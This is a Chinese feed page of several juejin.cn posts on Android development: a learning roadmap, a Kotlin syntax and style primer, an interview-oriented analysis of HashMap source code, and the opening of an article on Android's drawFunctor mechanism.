先说技术上,Android的技术栈随着时间的推移变得越来越庞大,细分领域也越来越多,主要有应用开发、逆向安全、音视频、车联网、物联网、手机开发和SDK开发等等,每个细分领域都有很多技术栈组成,深度都足够精深,就拿所有细分领域通用的Android系统底层源码来说,就会叫你学起来生不如死。

还有AI、大数据、边缘计算、VR/AR,很多新的技术浪潮也都可以结合进移动开发的技术范畴……

那么现在Android怎么学?学什么?

这几年Android新技术的迭代明显加速了,有来自外部跨平台新物种的冲击,有去Java化的商业考量,也有Jetpack等官方自建平台的加速等多种原因。

作为Android开发者,我们需要密切关注的同时也不要盲目跟随,还是要认清趋势,结合项目现状学习。

Kotlin

Kotlin已经成为Android开发的官方语言,Android的新的文档和Sample代码都开始转向 Kotlin,在未来Java将加速被 Kotlin替代。

刚推出时,很多人都不愿意学习,但现在在面试中已经是经常会出现了,很多大公司也都已经拥抱新技术了。现在Kotlin是一个很明显的趋势了,不少新技术都需要结合Kotlin来使用,未来在工作中、面试中所占的比重肯定会更大。

Jetpack+Compose

Jetpack的意义在于帮我们在SDK基础上提供了一系列中间件工具,让我们可以摆脱不断造轮子抄轮子的窘境。同类的解决方案首先考虑Jetpack其次考虑第三方实现,没毛病。

Jetpack本身也会不断吸收优秀的第三方解决方案进来。所以作为开发者实时关注其最新动态就可以了。

Compose是Google I/O 2019 发布的新的声明式的UI框架。其实Google内部自2017年便开始立项,目前API已稳定,构建,预览等开发体验已经趋于完整。

而且新的设计思想绝对是趋势,已经在react和flutter等前端领域中得到验证,ios开发中同期推出的swiftUI更是证明了业界对于这种声明式UI开发趋势的共识。这必将是日后Android app极为重要的编程方式。

开源框架底层原理

现在的面试从头到尾都是比较有深度的技术问题,虽然那些问题看上去在网上都能查到相关的资料,但面试官基本都是根据你的回答持续深入,如果没有真正对技术原理和底层逻辑有一定的了解是无法通过的。

很多看似无理甚至无用的问题,比如 “Okhttp请求复用有没有了解”,其实是面试官想借此看看你对网络优化和Socket协议的理解情况和掌握程度,类似问题都是面试官想借此看看你对相关原理的理解情况和掌握程度,甚至进而引伸到你对架构,设计模式的理解。只有在熟知原理的前提下,你才能够获得面试官的青睐。

Framework

Framework作为Android的框架层,为App提供了很多API调用,但很多机制都是Framework包装好后直接给App用的,如果不懂这些机制的原理,就很难在这基础上进行优化。

像启动监控、掉帧监控、函数插桩、慢函数检测、ANR监控,都需要比较深入的了解Framework,才能知道怎么去监控、利用什么机制监控、函数插桩插到哪里、反射调用该反射哪个类哪个方法哪个属性……

性能优化

性能优化是软件工程的深水区,也是衡量一个程序员能力高低的标准

想要搞清楚性能优化,必须对各种底层原理有着深度的了解,对各种 case非常丰富的经验;很多朋友经常遇到措手不及的问题,大多是因为对出现问题的情况和处理思路模糊不清,导致此原因就是因为没有彻底搞懂底层原理。

性能优化始终穿插在 App 整个研发生命周期中,不管是从 0 到 1 的建立阶段,还是从 1 到 N 打磨阶段,都离不开性能优化。

音视频

伴随着疫情的反复以及5G的普及,本就火爆的音视频技术是越来越热,很多大小厂在这几年也都纷纷入局。但音视频学习起来门槛比较高,没有比较系统的教程或者书籍,网上的博客文章也都是比较零散的。

招聘市场上,同级别的音视频开发要比应用开发薪资高出30%以上。

车载

在智能手机行业初兴起时,包括BAT在内许多传统互联网企业都曾布局手机产业,但是随着手机市场的基本定型,造车似乎又成了各大资本下一个追逐的方向。百度、小米先后宣布造车,阿里巴巴则与上汽集团共同投资创立了,面向汽车全行业提供智能汽车操作系统和智能网联汽车整体解决方案的斑马网络,一时间造车俨然成了资本市场的下一个风口。

而作为移动端操作系统的霸主Android,也以一种新的姿态高调侵入造车领域

关于学习

在学习的过程中,可能会选择看博客自学、看官方文档、看书、看大厂大牛整理的知识点文档、看视频,但要按学习效率来排序的话:报培训班>看视频>知识点>书籍>官方文档>博客

报班,可能很多朋友对于报班这个事情比较抵触,但不可否认,报一个培训班是可以学到很多深层次的、成体系的技术,像之前读书一样,都是捣碎了喂给你,并且培训班其实对于新技术、新趋势是相当敏锐的,可以第一时间接触,也会规避开自学的烦恼。

看视频,基本也是由别人捣碎知识点教会你,但较之培训班的话,视频的知识成体系吗?有没有过时?

大厂大牛整理的知识点文档,大厂大牛技术还是比较可靠的,这类型的知识点文档初版基本是可以放心享用,但如果只是少数人甚至是一个人进行维护的话,当整个文档的知识体系越来越广时,其中的部分知识点可能已经过时但一直没有时间更新

书籍,相比前者就更甚了,一个技术出来,先研究、再整理、修正……直到最后出版被你买到,中间经过的这段时间就是你落后于其他人的地方了,但其中的知识点基本可以肯定成体系、无重大错误。学习比较底层的,不会有很大改动的知识点还是相当不错的。

官方文档,这一块也是我思考了很久才排好,官方文档往往是第一手资源,对于有能力看懂的朋友来说,可以直接上手品尝。但其实很多开发拿到官方文档还是看的一知半解,再者说,自己看可能会有遗漏,还是没有别人一点一点将重点翻开来解读更好

博客,网络上的博客水平参差不齐,通常大家擅长的也不是同一个技术领域,往往是学习一块看A的,另一块看B的,而且网上很多博客都是抄来自己记录的,很多API已经过时了,甚至不少连代码都是完全错误的,这样的学习,可想而知……

最后

一些个人见解,也参考了不少大佬的观点,希望可以给大家带来一些帮助,如果大家有什么不同看法,也欢迎在评论区一起讨论交流

Android路漫漫,共勉!


作者:像程序一样思考
来源:juejin.cn/post/7128425172998029320

收起阅读 »

浅谈Kotlin编程-Kotlin基础语法和编码规范

前言 上一篇我们认识了Kotlin编程语言,也搭建好开发环境。本篇就进入Kotlin的基础语法介绍,与其他编程语言一样,Kotlin也有自己的一套编码规范。 文章总览 1.Kotlin基本语法 1.1 函数声明 使用关键字 fun 声明: fun sum(a...
继续阅读 »

前言


上一篇我们认识了Kotlin编程语言,也搭建好开发环境。本篇就进入Kotlin的基础语法介绍,与其他编程语言一样,Kotlin也有自己的一套编码规范。


文章总览


Kotlin基础.png


1.Kotlin基本语法


1.1 函数声明


使用关键字 fun 声明:


fun sum(a: Int, b: Int): Int { return a + b }

以上函数有俩个 int 参数:a , b;返回值为 Int 类型值。


在Kotlin中,返回值类型可以自行推断,函数体可以是表达式:这与Java是有区别的,直接用 = 相连


fun sum(a: Int, b: Int) = a + b

无返回值的函数,使用 Unit 为写法更简便可以将 Unit 省略。


fun printSum(a: Int, b: Int): Unit { 
println("sum of $a and $b is ${a + b}")
}
// Unit 返回类型可以省略

1.2 程序主入口


Kotlin 程序的入口是 main函数,与 Java 是一样的。


fun main() { 
println("Hello world!") // 打印字符串
}

程序在执行时,会先进入 main 函数开始执行。


1.3 变量



  • 只读局部变量(常量) 使用 val 定义


val a: Int = 1 // ⽴即赋值 
val b = 2 // ⾃动推断出 `Int` 类型
val c: Int // 如果没有初始值类型不能省略
c = 3 // 明确赋值


  • 可重新赋值变量 使用 var 定义


var x = 5 // ⾃动推断出 `Int` 类型 
x += 1 // x重新赋值

这与 Java 有很大区别,不用指定变量的类型,有编译器自动推断出来。


1.4 条件表达式


与 Java 中的 if 语句一样


if (a > b) { 
return a
} else {
return b
}

在 Kotlin中 if 也可以⽤作表达式,更加简便


fun max(a: Int, b: Int) = if (a > b) a else b

1.5 when表达式


when 将它的参数与所有的分⽀条件顺序⽐较,直到某个分⽀满⾜条件


when (obj) { 
1 -> "One"
"Hello" -> "Greeting"
is Long -> "Long"
!is String -> "Not a string"
else -> "Unknown"
}

可以类比 Java 中的 switch 语句。


1.6 空值与空检测


一个表达式或者一个变量可以为Null, 在Kotlin中可以使用 来结尾表示


fun parseInt(str: String): Int? { // …… }  
// 函数返回值可为空,当返回值 不是 Int 类型,返回值就是Null

这一特性解决了 Java 中一老大难的问题:NullpointException 空指针报错问题,在日常开发中帮开发者提高了不少开发效率和减少了不少bug。


1.7 区间使用


使⽤ in 操作符来检测某个数字是否在指定区间内


val x = 10 
val y = 9
if (x in 1..y+1) {
println("in range")
}

这个特性可以运用到 区间和数列中。


2.Kotlin编码规范


Kotlin项目结构.png




  • 目录结构:可以类比 Java 项目,包名的规则:小写字母,公司/组织域名反写




  • 代码源文件:以 .kt 为扩展名,命名规则首字母大写的驼峰风格,例如 HelloWorld.kt




  • 命名规则:



    • 类与对象的名称以大写字母开头并使用驼峰风格

    • 包的名称总是小写且不使用下划线




  • 文档注释:



    • 多行注释

    • 单行注释




  • 代码缩进风格要统一




  • 注解:将注解放在单独的⾏上,在它们所依附的声明之前,并使⽤相同的缩进




  • 链式调用:对链式调⽤换⾏时,将 . 字符或者 ?. 操作符放在下⼀⾏,带有缩进




  • 不在 . 或者 ?. 左右留空格: foo.bar().filter { it > 2 }.joinToString() , foo?.bar()




  • // 之后留⼀个空格: // 这是⼀条注释




  • 不要在⽤于指定类型参数的尖括号前后留空格: class Map { …… }




  • 不要在 :: 前后留空格: Foo::class 、String::length




  • 不要在⽤于标记可空类型的 ? 前留空格: String?




总结


本文主要讲解 Kotlin 常用的基本语法,后续会针对特定的知识点展开学习,同时学习了Kotlin 编码规范,对日常规范编写代码是非常有帮助。


作者:南巷羽
链接:https://juejin.cn/post/7130094040141266957
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Android—以面试角度剖析HashMap源码

前言 HashMap 这个词想必大家都挺熟悉的!但往往大多数都知其所用,而不知其原理,导致面试的处处碰壁!因此,这一篇的作用就是以面试的角度剖析HashMap!话不多说,直接开始! 温馨提示:此文有点长,建议先插眼,等有空闲时间观看 1、为什么要学HashMa...
继续阅读 »

前言


HashMap 这个词想必大家都挺熟悉的!但往往大多数都知其所用,而不知其原理,导致面试的处处碰壁!因此,这一篇的作用就是以面试的角度剖析HashMap!话不多说,直接开始!


温馨提示:此文有点长,建议先插眼,等有空闲时间观看


1、为什么要学HashMap?


刚刚说了本篇是以面试角度剖析HashMap,那么面试常见的问题有哪些呢?



  • HashMap的原理?内部数据结构?

  • HashMap中put方法的过程是怎样实现的?

  • HashMap中hash函数是怎样实现的?

  • HashMap是怎样扩容的呢?

  • HashMap中某个Entry链太长,查找时间复杂度可能达到O(n),怎么优化?


2、剖析HashMap


2.1 HashMap初始化


虽然这一步大家很熟悉,但过程还是少补了!


HashMap hashMap = new HashMap<>(6, 1);
HashMap hashMap2 = new HashMap<>();

源码解析


这个就很简单了,初始化HashMap有两个构造器,一个无参,一个有参。(泛型就不说了吧)


那就从简先看无参的!



/**
* The default initial capacity - MUST be a power of two.
*/

static final int DEFAULT_INITIAL_CAPACITY = 1 << 4; // aka 16

/**
* The load factor used when none specified in constructor.
*/

static final float DEFAULT_LOAD_FACTOR = 0.75f;

public HashMap() {
this.loadFactor = DEFAULT_LOAD_FACTOR; // all other fields defaulted
}

源码解析


这里我们看到:




  1. 初始化给this.loadFactor赋值为0.75f




  2. 而这个0.75f就是该HashMap对应的扩展因子。(扩展因子:当长度大于等于 容量长度*扩展因子时,需要对该map进行扩容)




  3. 而 map默认长度就是DEFAULT_INITIAL_CAPACITY=1 << 4也就是默认16




  4. 结合扩展因子一起看,也就是说,当map长度大于等于 16*0.75f的时候,对应map需要扩容!(至于怎么扩容,下面会讲解)




这里看完了无参的,趁热打铁看看有参数的!


public HashMap(int initialCapacity, float loadFactor) {
if (initialCapacity < 0)
throw new IllegalArgumentException("Illegal initial capacity: " +
initialCapacity);
if (initialCapacity > MAXIMUM_CAPACITY)
initialCapacity = MAXIMUM_CAPACITY;
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new IllegalArgumentException("Illegal load factor: " +
loadFactor);
this.loadFactor = loadFactor;
this.threshold = tableSizeFor(initialCapacity);
}

源码解析


这里我们看到代码瞬间多了起来,不过前面那几个if判断都是对入参进行一系列校验,核心代码在最后两句:



  1. this.loadFactor = loadFactor这个在上面讲过,就是给扩展因子赋值,只不过由默认变成了手动

  2. this.threshold = tableSizeFor(initialCapacity); 这里我们看到调用了tableSizeFor方法,并将入参一带入该方法中!


那么这个神奇的tableSizeFor方法到底做了甚么呢???


2.1.1 tableSizeFor 方法剖析



/**
* The maximum capacity, used if a higher value is implicitly specified
* by either of the constructors with arguments.
* MUST be a power of two <= 1<<30.
*/

static final int MAXIMUM_CAPACITY = 1 << 30;


/**
* Returns a power of two size for the given target capacity.
*/

static final int tableSizeFor(int cap) {
int n = cap - 1;
n |= n >>> 1;
n |= n >>> 2;
n |= n >>> 4;
n |= n >>> 8;
n |= n >>> 16;
return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
}

在进行源码解析前,先对这个方法里的两个操作符进行讲解:




  1. >>>表示无符号右移,也叫逻辑右移,即若该数为正,则高位补0,而若该数为负数,则右移后高位同样补0。
    按二进制形式把所有的数字向右移动对应的位数,低位移出(舍弃),高位的空位补零。对于正数来说和带符号右移相同,对于负数来说不同。其他结构和>>相似。




  2. |表示的是或运算,即两个二进制数同位中,只要有一个为1则结果为1,若两个都为1其结果也为1,换句话说就是取并集。




源码解析


就以刚刚入参为6为例(cap=6):




  1. int n = cap - 1 这个时候 n=5




  2. n |= n >>> 1 这个时候需要将这句代码拆成两部解析




image.png



  1. 继续往下走当执行n |= n >>> 2


image.png



  1. 此时不管是n >>> 4 还是n >>> 16 因为是取并集结果都为 0000 0111 转为十进制为 n=7

  2. 那么看看最后一句(n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1; 最终结果为n=8


那我们把入参稍微调大一点,17为例(cap=17)


image.png


如图所示


我们可以得出一个结论,通过这个方法tableSizeFor计算出的值,将大于等于cap的最近的一个2的n次方的一个值,而这对应的值就是该map的初始化容量长度


OK!到这HashMap的初始化已经剖析完成了。接下来该剖析HashMap的put操作!


2.2 HashMap对应put操作


敲黑板!!核心内容来了!!!


public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

源码解析


这里我们可以看到,该方法调用了两个方法:hash(xx)以及putVal(xx,xx,xx,xx,xx)


因为hash(xx)作为putVal方法的入参,因此,我们先看hash方法是怎么工作的


2.2.1 HashMap对应Hash算法


static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

源码解析


这里我们可以看到 使用了^运算符,它的意思总结起来就是一句话:同为假,异为真


比如说:


 0000 0000 0001 0001 
0000 0000 0001 0111
——————————
0000 0000 0000 0110

这里我们看到:相同的,运算后都为0;不同的,运算后为1


了解这个算法后,我们来看看这个方法运行:


image.png


如图所示


现在我们看到,经过一系列计算发现最终结果居然还是为 key.hashCode(),那为啥还要与 (h>>>16) 进行 ^ 异或运算呢?能不能直接return key.hashCode()呢?


答案是:当然肯定不能!!!那它为什么要这样写呢???为什么非要用^异或运算呢?


回答这个问题之前,我们先来熟悉一下:或、与、异或 这三者运算规则;


image.png


如图所示



  • 或运算:(只要有1,那么就是1) 0|0=0 ,1|0=1 ,0|1=1 ,1|1=1 我们看到有三者都为1

  • 与运算:(都是1时,结果才为1) 0&0=0 ,0&1=0 ,1&0=0 ,1&1=1 我们看到有三者都为0

  • 异或预算:(只要一样结果就是0)0^0=0 ,0^1=1 ,1^0=1 ,1^1=0 我们看到有两者为0,两者为1


总结


从这三者运算结果看,只有异或运算 真假各占50% ,也就是说,当使用异或运算时,对应的Key更具有散列性。为什么要有散列性,下文会体现出来!


image.png


如图所示


当key比较复杂时,返回结果已经和key.hashCode有所不同了,因此对应的(h = key.hashCode()) ^ (h >>> 16)还是很有必要的


到这Hash算法差不多结束了。接下来继续下一步操作!


按理说,下一步应该剖析putVal(xx,xx,xx,xx,xx)方法源码。但仔细想了哈,还是先吧结果说出来,最后将结果带进去阅读源码应该会更好一点。


2.2.2 HashMap内部构造结构


image.png


如图所示



  • HashMap内部构造为数组+链表的形式,而数组的默认长度要么是标准的16,要么就是tableSizeFor方法返回的结果

  • 当链表长度大于等于8时,将会转为红黑树结构


刚刚我们说的是,将结果带入源码解析。那我们再来分析一下这张图


试想一下,这种结构该如何保存值呢??



  1. 因为它是数组结构,所以第一时间得要找到能存储该值的下标,只有找到对应下标了才能更好的保存值

  2. 找到对应下标了,再看该下标是否存在链表结构,如果不存在则创建新的链表结构,并将对应key-value存储起来

  3. 如果存在对应链表结构,则判断该链表是否转化为红黑树,如果真,则按红黑树原理存储或者替换对应值

  4. 如果非红黑树结构,则判断对应key是否在该链表中,如果在链表中,则直接替换原有值

  5. 如果对应key不存在原有链表中,则先判断该链表长度是否大于等于7,如果真,则创建新的单元格按红黑树的原理存储对应元素,最终长度自增1位;(因为长度满足8位就是红黑树结构,因此要在自增前判断是否满足要求)

  6. 如果链表长度小于7,那么创建新的单元格直接存入该链表中,并与上一个单元格next相互关联


到这!大部分的概念理论叙述完了,接下来到了剖析源码验证环节了!!!


2.2.3 putVal方法剖析




/**
* The next size value at which to resize (capacity * load factor).
*
* @serial
*/


int threshold;



static final int TREEIFY_THRESHOLD = 8;


/**
* Implements Map.put and related methods
*
* @param hash hash for key
* @param key the key
* @param value the value to put
* @param onlyIfAbsent if true, don't change existing value
* @param evict if false, the table is in creation mode.
* @return previous value, or null if none
*/

final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict)
{
Node
[] tab; Node p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length; //分析点1

if ((p = tab[i = (n - 1) & hash]) == null) //分析点2

tab[i] = newNode(hash, key, value, null);
else {
Node
e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
e = p; //分析点3

else if (p instanceof TreeNode) //分析点 4
e = ((TreeNode
)p).putTreeVal(this, tab, hash, key, value);

else {

for (int binCount = 0; ; ++binCount) {
if ((e = p.next) == null) {
p.next = newNode(hash, key, value, null); // 分析点5

if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
treeifyBin(tab, hash); // 分析点5-1

break;
}
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
break; //分析点6

p = e; //分析点7

}
}
if (e != null) { // existing mapping for key
V oldValue = e.value;
if (!onlyIfAbsent || oldValue == null) //分析点8
e.value = value;
afterNodeAccess(e);
return oldValue;
}
}
++modCount;
if (++size > threshold)
resize(); //分析点9
afterNodeInsertion(evict);
return null;
}

源码分析




  • 分析点1:当该map第一次进行put操作时,对应的tab数组并未初始化。因此这里需要调用resize()方法,并给变量n赋值(分析点9会单独讲解该方法




  • 分析点2:这里使用了(p = tab[i = (n - 1) & hash]) == null这句代码,从该方法前两句可以看出



    • n表示该HashMap对应数组长度

    • tab表示该HashMap对应数组

    • hash表示该方法的第一个入参,是由上一个方法根据hash算法推算出具有散列性的值

    • i = (n - 1) & hash 这句代码就是通过 hash算法推算的值与数组长度-1进行运算,取出对应的下标,因为hash具有散列性(平均),因此能够均匀的分配对应数组单元格


    image.png



    • 如果通过下标找到元素为空,那么就创建新的链表结构,并将当前key-value存入对应链表结构中




  • 分析点3:这里使用了p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k))) 这句代码,结合分析点2一起看可以得出:



    • p 表示通过下标找到的对应链表结构,并且非空

    • k 表示该方法第二个入参,表示对应key值


    image.png



    • 因此该判断条件意思:如果输入的key,与链表第一个元素的key相同,那么将该单元格赋值给创建的e节点 (分析点8还会继续讲解该变量




  • 分析点4:这里使用了e = ((TreeNode)p).putTreeVal(this, tab, hash, key, value) 结合判断条件可以看出



    • p 表示通过下标找到的对应链表结构,并且非空

    • p instanceof TreeNode 这句判断条件表示,该链表结构是否 TreeNode 类型(红黑树结构)

    • 这里红黑树就不详解了,结构组成总结起来就一句话:你比我大,那去这一边,比我小,那就去另外一边,一直往下每个节点都这样判断


    image.png



    • 因此这里具体意思就是:如果为红黑树结构,那就按照红黑树结构存储替换值,并且将对应节点返回赋值给上面创建的e节点(分析点8还会继续讲解该变量




  • 分析点5:


    image.png



    • 逻辑执行此处,这说明已经不满足上述分析点,也就是说,处理的单位只会存在标注的红框里

    • (e = p.next) == null 这句代码表示,如果往下找已经没有节点了,那么执行p.next = newNode(hash, key, value, null) 创建新的单元格并将对应key-value存储起来并与p.next相互关联




  • 分析点5-1:



    • 结合分析点5一起看,上一步将创建的单元格与p.next相关关联后

    • TREEIFY_THRESHOLD 该变量=8

    • binCount >= TREEIFY_THRESHOLD - 1 这句代码意思是,判断当前链表是否大于等于7 ,因为自增在下文,因此这里需要减一。

    • treeifyBin(tab, hash); 这句代码意思是,满足上面判断条件,将当前链表转为红黑树结构




  • 分析点6:


    image.png



    • e 在分析5 执行了 e = p.next 并且不为null

    • (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k))) 这句意思表示在红框标注里是否通过key找到了对应的单元格,如果真则跳出循环;如果假则执行分析7




  • 分析点7:


    image.png



    • 结合分析6一起看,如果当前key与当前单元格对应key不等,那么就执行p = e; 指向下一个单元格




  • 分析点8:




    • onlyIfAbsent 该变量为方法的第4个入参,value=false




    • 能进入该逻辑,因此对应e不为空!上述条件中,满足条件有:分析3、分析4、分析6




    • 这三者条件都是满足对应key相同则赋值,那么这里就是替换对应相同key对应的value值






  • 分析点9:



    • 能进分析9,则说明满足++size > threshold条件

    • size表示该map中所有key-value 的总长度

    • threshold 表示 达到扩容条件的目标值

    • resize()方法,那就是扩容了。那么这个方法到底做了甚么呢?




2.2.3.1 扩容 resize() 方法

讲解扩容之前先整理下,在哪些情况会调用该方法?



  1. 分析点1 在table=null 或者table.length=0的时候会调用该方法

  2. 分析点9 在满足++size > threshold条件时,会调用该方法


因此我们得结合这两种情况来阅读该方法!


当执行分析点1逻辑时


我们可以删掉该源方法的一部分逻辑,因此




static final float DEFAULT_LOAD_FACTOR = 0.75f;


static final int DEFAULT_INITIAL_CAPACITY = 1 << 4; // aka 16


final Node
[] resize() {
Node
[] oldTab = table;
int oldCap = (oldTab == null) ? 0 : oldTab.length;
int oldThr = threshold;
int newCap, newThr = 0;
if (oldCap > 0) {
.....
}
else if (oldThr > 0){

//初始化HashMap时,调用了有参构造器,就会进入该逻辑
newCap = oldThr;

}
else {
//初始化HashMap时,调用无参构造器,就会进入该逻辑
newCap = DEFAULT_INITIAL_CAPACITY;
newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY);
}
if (newThr == 0) {

//初始化HashMap时,调用了有参构造器,就会进入该逻辑
float ft = (float)newCap * loadFactor;
newThr = (newCap < MAXIMUM_CAPACITY && ft < (float)MAXIMUM_CAPACITY ?
(int)ft : Integer.MAX_VALUE);
}
threshold = newThr;
@SuppressWarnings({"rawtypes","unchecked"})
Node
[] newTab = (Node[])new Node[newCap];
table = newTab;
.....
return newTab;
}

源码解析


这里我们可以看到,通过分析点1进入该方法时:




  • 已知条件为:table =null , oldCap=0




  • 默认情况下将会直接进入else 相关逻辑 ,如果用户初始化HashMap调用的有参构造器,那么就会执行代码注释标注的部分(下面所有都按初始化时,调用无参构造器讲解)




  • 当执行newCap = DEFAULT_INITIAL_CAPACITY 对应newCap=16




  • 当执行(int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY)对应 newThr=16*0.75f




  • 当执行threshold = newThr 对应threshold=12




  • 当执行Node[] newTab = (Node[])new Node[newCap]以及table = newTab 对应table长度为newCap也就是默认16




这个就是通过分析点1进入该方法的所有逻辑!


那通过分析点9进入该方法呢?


当执行分析点9逻辑时


对应代码逻辑:


static final float DEFAULT_LOAD_FACTOR = 0.75f;


static final int DEFAULT_INITIAL_CAPACITY = 1 << 4; // aka 16


static final int MAXIMUM_CAPACITY = 1 << 30;


final Node[] resize() {
Node[] oldTab = table;
int oldCap = (oldTab == null) ? 0 : oldTab.length;
int oldThr = threshold;
int newCap, newThr = 0;
if (oldCap > 0) {
if (oldCap >= MAXIMUM_CAPACITY) { //分析点10
threshold = Integer.MAX_VALUE;
return oldTab;
}
else if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY &&
oldCap >= DEFAULT_INITIAL_CAPACITY) //分析点11
newThr = oldThr << 1; // double threshold
}

//删除上面已经讲解过的代码.....

threshold = newThr;
@SuppressWarnings({"rawtypes","unchecked"})
Node[] newTab = (Node[])new Node[newCap]; //分析点12
table = newTab;
if (oldTab != null) {
for (int j = 0; j < oldCap; ++j) {
Node e;
if ((e = oldTab[j]) != null) {
oldTab[j] = null;
if (e.next == null)
newTab[e.hash & (newCap - 1)] = e;
else if (e instanceof TreeNode)
((TreeNode)e).split(this, newTab, j, oldCap);
else { // preserve order
Node loHead = null, loTail = null;
Node hiHead = null, hiTail = null;
Node next;
do {
next = e.next;
if ((e.hash & oldCap) == 0) {
if (loTail == null)
loHead = e;
else
loTail.next = e;
loTail = e;
}
else {
if (hiTail == null)
hiHead = e;
else
hiTail.next = e;
hiTail = e;
}
} while ((e = next) != null);
if (loTail != null) {
loTail.next = null;
newTab[j] = loHead;
}
if (hiTail != null) {
hiTail.next = null;
newTab[j + oldCap] = hiHead;
}
}
}
}
}
return newTab;
}

源码解析




  • 分析点10:这里是为了做最大限制扩容,如果扩容前的长度已经达到了 1<<30 ,那么此次扩容长度将会是最大值Integer.MAX_VALUE




  • 分析点11:我们来拆分一下这段条件判断代码:(newCap=oldCap<<1=DEFAULT_INITIAL_CAPACITY




    • 执行newCap=oldCap<<1 时,对应 newCap=扩容前的长度<<1 ,也就是 16<<1 ,最终结果为 32




    • 在判断逻辑里,当执行newThr = oldThr << 1 时,也就是 12<<1,最终结果为 24






  • 分析点12:将分析11的结果创建了一个全新的数组,并在下面的循环中,将原有数组里的内容赋值给这个全新数组




到这里,整个扩容机制已经讲解完了!趁热打铁,继续下一个!


2.3 HashMap对应get操作


public V get(Object key) {
Node e;
return (e = getNode(hash(key), key)) == null ? null : e.value;
}

源码解析




  • 这里我们可以看到 依然调用了两个方法 hash(xx)getNode(xx,xx)




  • hash(xx)这个在put操作里讲解过,这里不再赘述




  • 因此现在只需要讲解这个方法getNode(xx,xx) 即可




2.3.1 getNode 方法剖析


final Node getNode(int hash, Object key) {
Node[] tab; Node first, e; int n; K k;
if ((tab = table) != null && (n = tab.length) > 0 &&
(first = tab[(n - 1) & hash]) != null) { //分析点1

if (first.hash == hash && // always check first node
((k = first.key) == key || (key != null && key.equals(k))))
return first; //分析点2

if ((e = first.next) != null) {
//分析点3
if (first instanceof TreeNode)
return ((TreeNode)first).getTreeNode(hash, key);
do {
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
return e;
} while ((e = e.next) != null);
}
}
return null; //分析点4
}

源码解析




  • 分析点1:这里仅仅是对map里面的数组进行判断,看是否为有效有值的数组,并将有效值给first赋值




  • 分析点2:这里表示如果是在第一层节点通过key找到对应节点时,那就直接返回对应节点


    image.png




  • 分析点3:这里就和分析2相反,第一层找不到,那就只有遍历下面对应节点的下一层。如果是链表,那就按链表形式查找;如果是红黑树,那就按照红黑树形式查找;如果找到了,就将对应的节点向上一层返回


    image.png




  • 分析点4:到这里这说明上面所有方式都没有找到对应key相关的节点,因此返回null




好了!到这里HashMap相关源码已全部剖析完毕!现在来结合上文面试题总结一下!


3、总结




  • HashMap的原理?内部数据结构?



    • HashMap底层它是有哈希表组成,当链条过长时,将会转化为红黑树结构




  • HashMap中put方法的过程是怎样实现的?



    1. 对key求hash值,然后再计算下标

    2. 如果没有碰撞,直接放入数组中

    3. 如果碰撞了,就根据key判断是否存在于链表中,存在则直接覆盖值,不存在则以链表的方式链接到后面

    4. 如果链表长度过长(>=8),此时链表将转为红黑树

    5. 如果桶满了(容量*加载因子),那么就需要调用resize方法进行扩容




  • HashMap中hash函数是怎样实现的?



    • 高16bit不变,低16bit和高16bit做了一个异或

    • 通过(n-1)&hash 得到对应的下标




  • HashMap是怎样扩容的呢?



    1. 在resize方法里,首先通过(容量*加载因子)计算出下一次扩容所需要达到的条件

    2. 当在putVal,如果对应长度达到了扩容的条件那么就会再次调用resize方法,通过 原长度<<1 移位操作 进行扩容

    3. 而对应的扩容条件也会跟随这 原扩容因子<<1 移位操作




  • HashMap中某个Entry链太长,查找时间复杂度可能达到O(n),怎么优化?



    • 其实上面已经答了,就是将链表转化为红黑树操作!




到这里,本篇内容已经进入尾声了!相信能坚持看到这里的小伙伴,已经对hashMap有了充分的认知!


下一篇准备来个手写HashMap,来巩固HashMap知识点!!!


作者:hqk
链接:https://juejin.cn/post/7130524758059253774
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Android drawFunctor 原理及应用

一. 背景 蚂蚁 NativeCanvas 项目 Android 平台中使用了基于 TextureView 环境实现 GL 渲染的技术方案,而 TextureView 需使用与 Activity Window 独立的 GraphicBuffer,RenderT...
继续阅读 »

一. 背景


蚂蚁 NativeCanvas 项目 Android 平台中使用了基于 TextureView 环境实现 GL 渲染的技术方案,而 TextureView 需使用与 Activity Window 独立的 GraphicBuffer,RenderThread 在上屏 TextureView 内容时需要将 GraphicBuffer 封装为 EGLImage 上传为纹理再渲染,内存占用较高。为降低内存占用,经仔细调研 Android 源码,发现其中存在一种称为 drawFunctor 的技术,用来将 WebView 合成后的内容同步到 Activity Window 内上屏。经过一番探索成功实现了基于 drawFunctor 实现 GL 注入 RenderThread 的功能,本文将介绍这是如何实现的。


二. drawFunctor 原理介绍


drawFunctor 是 Android 提供的一种在 RenderThread 渲染流程中插入执行代码机制,Android 框架是通过以下三步来实现这个机制的:



  • 在 UI 线程 View 绘制流程 onDraw 方法中,通过 RecordingCanvas.invoke 接口,将 functor 插入 DisplayList 中

  • 在 RenderThread 渲染 frame 时执行 DisplayList,判断如果是 functor 类型的 op,则保存当前部分 gl 状态

  • 在 RenderThread 中真正执行 functor 逻辑,执行完成后恢复 gl 状态并继续


